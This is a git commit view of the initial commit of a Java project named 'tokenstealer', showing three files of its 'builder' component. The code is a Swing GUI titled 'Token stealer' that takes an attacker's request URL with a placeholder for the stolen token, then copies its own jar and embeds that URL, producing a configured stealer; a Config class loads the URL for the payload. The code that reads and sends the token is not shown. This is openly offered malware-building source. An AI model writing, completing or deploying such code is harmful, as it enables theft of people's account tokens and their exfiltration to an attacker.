aboutsummaryrefslogtreecommitdiff
path: root/src/main/java/de/romjaki/tokenstealer/builder
diff options
context:
space:
mode:
authorromangraef <roman.graef@gmail.com>2018-02-13 14:46:26 +0100
committerromangraef <roman.graef@gmail.com>2018-02-13 14:46:26 +0100
commite174326e16e056b98799b8771c5c7315839b4cee (patch)
tree5ce3e229cfbea4d53f8f874be49e60cff2cf1802 /src/main/java/de/romjaki/tokenstealer/builder
downloadtokenstealer-e174326e16e056b98799b8771c5c7315839b4cee.tar.gz
tokenstealer-e174326e16e056b98799b8771c5c7315839b4cee.tar.bz2
tokenstealer-e174326e16e056b98799b8771c5c7315839b4cee.zip
Initial commit
Diffstat (limited to 'src/main/java/de/romjaki/tokenstealer/builder')
-rw-r--r--src/main/java/de/romjaki/tokenstealer/builder/BuildJar.java43
-rw-r--r--src/main/java/de/romjaki/tokenstealer/builder/Builder.java52
-rw-r--r--src/main/java/de/romjaki/tokenstealer/builder/Config.java34
3 files changed, 129 insertions, 0 deletions
diff --git a/src/main/java/de/romjaki/tokenstealer/builder/BuildJar.java b/src/main/java/de/romjaki/tokenstealer/builder/BuildJar.java
new file mode 100644
index 0000000..c6224ba
--- /dev/null
+++ b/src/main/java/de/romjaki/tokenstealer/builder/BuildJar.java
@@ -0,0 +1,43 @@
+package de.romjaki.tokenstealer.builder;
+
+import java.io.File;
+import java.io.IOException;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.nio.file.*;
+import java.util.HashMap;
+
+
+public class BuildJar {
+ static void buildJar(String request, File target) {
+ if (target == null) return;
+ try {
+ Files.copy(
+ Paths.get(getCurrentJar()),
+ Paths.get(target.toURI()),
+ StandardCopyOption.REPLACE_EXISTING
+ );
+ } catch (URISyntaxException | IOException e) {
+ e.printStackTrace();
+ return;
+ }
+ URI fileUri = target.toURI();
+ try (FileSystem fs =
+ FileSystems.newFileSystem(
+ new URI("jar:" + fileUri.getScheme(), fileUri.getPath(), null),
+ new HashMap<String, String>() {{
+ put("create", "false");
+ }},
+ null)) {
+ Path path = fs.getPath("/request");
+ Files.write(path, request.getBytes());
+ } catch (IOException | URISyntaxException e) {
+ e.printStackTrace();
+ }
+
+ }
+
+ private static URI getCurrentJar() throws URISyntaxException {
+ return BuildJar.class.getProtectionDomain().getCodeSource().getLocation().toURI();
+ }
+}
diff --git a/src/main/java/de/romjaki/tokenstealer/builder/Builder.java b/src/main/java/de/romjaki/tokenstealer/builder/Builder.java
new file mode 100644
index 0000000..2d19e25
--- /dev/null
+++ b/src/main/java/de/romjaki/tokenstealer/builder/Builder.java
@@ -0,0 +1,52 @@
+package de.romjaki.tokenstealer.builder;
+
+import javax.swing.*;
+import java.awt.*;
+import java.io.File;
+
+public class Builder extends JFrame {
+ public static final String PLACEHOLDER_HINT = "Use %s as placeholder for the token";
+ public static final String COPYRIGHT = "COPYRIGHT: MAINZ DAZ IS!";
+ private JTextField requestField;
+ private JPanel requestPanel;
+ private JLabel requestLabel;
+ private JButton generateButton;
+
+ public Builder() {
+ super("Token stealer");
+ setLayout(new GridLayout(0, 1));
+ add(generateRequestField());
+ add(generateGenerateButton());
+ pack();
+ }
+
+ private Component generateGenerateButton() {
+ generateButton = new JButton("Generate!");
+ generateButton.setToolTipText(COPYRIGHT);
+ generateButton.addActionListener(ignored -> BuildJar.buildJar(requestField.getText(), showSaveDialog()));
+ return generateButton;
+ }
+
+ private File showSaveDialog() {
+ JFileChooser chooser = new JFileChooser();
+ switch (chooser.showSaveDialog(this)) {
+ case JFileChooser.APPROVE_OPTION:
+ return chooser.getSelectedFile();
+ case JFileChooser.CANCEL_OPTION:
+ case JFileChooser.ERROR_OPTION:
+ default:
+ return null;
+ }
+ }
+
+ private Component generateRequestField() {
+ requestPanel = new JPanel(new GridLayout());
+ requestLabel = new JLabel("Request url:");
+ requestLabel.setToolTipText(PLACEHOLDER_HINT);
+ requestField = new JTextField(40);
+ requestField.setToolTipText(PLACEHOLDER_HINT);
+ requestPanel.add(requestLabel);
+ requestPanel.add(requestField);
+ return requestPanel;
+ }
+}
diff --git a/src/main/java/de/romjaki/tokenstealer/builder/Config.java b/src/main/java/de/romjaki/tokenstealer/builder/Config.java
new file mode 100644
index 0000000..ea547f7
--- /dev/null
+++ b/src/main/java/de/romjaki/tokenstealer/builder/Config.java
@@ -0,0 +1,34 @@
+package de.romjaki.tokenstealer.builder;
+
+import java.util.Scanner;
+
+public class Config {
+
+ public static Config INSTANCE;
+
+ private String request;
+
+ public Config(String request) {
+ this.request = request;
+ }
+
+ private static Config getConfig() {
+ try (Scanner scanner = new Scanner(Config.class.getResourceAsStream("/request"))
+ .useDelimiter("\\A")) {
+ return new Config(scanner.next());
+ } catch (NullPointerException e) {
+ return null;
+ }
+ }
+
+ public static Config load(String[] args) {
+ if (args.length == 2 && args[0].equals("--url")) {
+ return INSTANCE = new Config(args[1]);
+ }
+ return INSTANCE = getConfig();
+ }
+
+ public String getRequest() {
+ return request;
+ }
+}